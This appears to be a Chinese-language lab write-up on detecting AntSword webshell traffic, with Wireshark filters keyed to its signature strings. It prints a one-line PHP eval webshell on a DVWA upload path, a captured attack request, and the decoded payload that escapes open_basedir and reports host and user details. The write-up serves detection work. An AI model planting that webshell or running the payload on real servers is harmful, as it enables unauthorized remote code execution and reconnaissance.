抓包工具:Burpsuite,WireShark
webshell管理工具:蚁剑[AntSword]
总结:
AntSword流量特征:
phpwebshell流量特征:
1.%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B
解码结果:@ini_set("display_errors", "0");@set_time_limit(0);
2.function%20asenc(%24out)
asenc()是一个用于实现加密传输的加密函数
解码结果:function asenc($out)
3.function%20asoutput()
asoutput()是一个用于输出结果的传输函数
解码结果:function asoutput()
wireshark流量分析查询语句(请根据实际情况在作调整这里给出一种过滤思路):
如果在确定加密传输方式是default的情况下可以用以下方式过滤:
1.ip.addr == 10.10.10.1 &&(tcp.dstport == 443|| tcp.dstport == 80)&& http.contains("%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B")
2.ip.addr == 10.10.10.1 &&(tcp.dstport == 443|| tcp.dstport == 80)&& http.contains("function%20asenc(%24out)")
3.ip.addr == 10.10.10.1 &&(tcp.dstport == 443|| tcp.dstport == 80)&& http.contains("
function%20asoutput()
")
如果是进行了编码传输可以将内容先解码再根据上述特征判断或者可以判断eval
函数来初步判断,具体还需要解码判断ip.addr == 10.10.10.1 &&(tcp.dstport == 443|| tcp.dstport == 80)&& http.contains("
eval
")ip.addr == 10.10.10.1 &&(tcp.dstport == 443|| tcp.dstport == 80)&& http.contains("QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7")
当然由于执行的代码是包裹在http body中的,所以body部分会特别长也可以通过过滤适当的长度来找出webshell管理工具的请求,这个特征使用于大部分的webshell管理工具但是只能作为一个弱特征,毕竟不排除正常请求包中传输数据很大的情况,根据具体情况适当调整语句http.length > 1500
AntSword流量特征分析:
webshell <?php phpinfo(); @eval($_POST['shell']); ?>
第一个请求包是获取目录信息
POST /dvwa/hackable/uploads/shell.php HTTP/1.1
Host: 10.10.10.1
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62
Content-Type: application/x-www-form-urlencoded
Content-Length: 1787
Connection: close
shell=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.444b1%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2295%22.%22fb6%22%3Becho%20%40asenc(%24output)%3Becho%20%229a75%22.%2253b19%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
url解码之后是这样的,可以看出来蚁剑webshell实现主体有2个特别的函数
1.asenc()用于编码,这里选择的加密方式是default所以函数内没有任何改变
2.asoutput()用于输出执行结果,是一个用来传递执行结果的函数
<?php
// 设置PHP配置项
@ini_set("display_errors", "0");
@set_time_limit(0);
// 获取当前的open_basedir配置项
$opdir = @ini_get("open_basedir");
// 如果存在open_basedir配置项
if ($opdir) {
// 获取当前脚本文件的目录路径
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 对open_basedir配置项进行处理
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
// 遍历处理后的路径数组
foreach ($oparr as $item) {
// 如果路径不可写,则跳过
if (!@is_writable($item)) {
continue;
}
// 创建子目录".444b1"并尝试进入该目录
$tmdir = $item . "/.444b1";
@mkdir($tmdir);
// 如果目录不存在,则跳过
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
// 设置open_basedir配置项为上一级目录,并向上移动目录
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
// 将open_basedir配置项设置为根目录,删除子目录".444b1",并终止循环
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
// 定义asenc和asoutput函数
function asenc($out)
{
return $out;
}
function asoutput()
{
// 获取输出缓冲区内容并输出
$output = ob_get_contents();
ob_end_clean();
echo "95" . "fb6";
echo @asenc($output);
echo "9a75" . "53b19";
}
// 开启输出缓冲区
ob_start();
try {
// 获取当前脚本文件的目录路径并输出相关信息
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
// 如果$D为空, 则尝试使用dirname($_SERVER["PATH_TRANSLATED"])获取目录路径
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
// 将$D拼接到字符串$R中, 作为基础的输出信息
$R = "{$D} ";
// 检查$D的首个字符是否为"/"
if (substr($D, 0, 1) != "/") {
// 如果不是"/"
// 进入循环, 检查是否存在以英文字母为盘符的目录, 如果存在, 则将该盘符添加到$R中
foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";
} else {
// 如果$D的首个字符是"/"
// 直接在$R末尾添加"/"
$R .= "/";
}
// 继续拼接$R
$R .= " ";
// 尝试获取系统用户信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
// 如果$u存在, 将其用户名赋值给$s; 否则, 尝试使用get_current_user()获取当前用户信息并赋值给$s
$s = ($u) ? $u["name"] : @get_current_user();
// 将系统信息和当前用户名拼接到$R的末尾
$R .= php_uname();
$R .= " {$s}";
// 输出$R
echo $R;;
} catch (Exception $e) {
// 如果出现异常, 则输出错误信息
echo "ERROR://" . $e->getMessage();
};
// 输出内容并终止脚本执行
asoutput();
die();
?>
在使用编码后也会携带流量特征以base64为例子:
特征内容为eval
原因是AntSword会使用eval()函数来执行解码操作
编码器内容function asenc($out){return @base64_encode($out);};
选用base64编码后将在传输时以另外一个变量传输base64加密后的代码
这里通过一个变量传输代码后,通过eval()函数执行解码
将内容解码后仍然具有特征@ini_set("display_errors", "0");@set_time_limit(0);
保留特征function asenc($out)
和 function asoutput()
,编码器变成function asenc($out){return @base64_encode($out);};
另外@ini_set("display_errors", "0");@set_time_limit(0);
base64编码后是固定的字符串QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7
,所以这也会成为蚁剑的base64编码传输的流量特征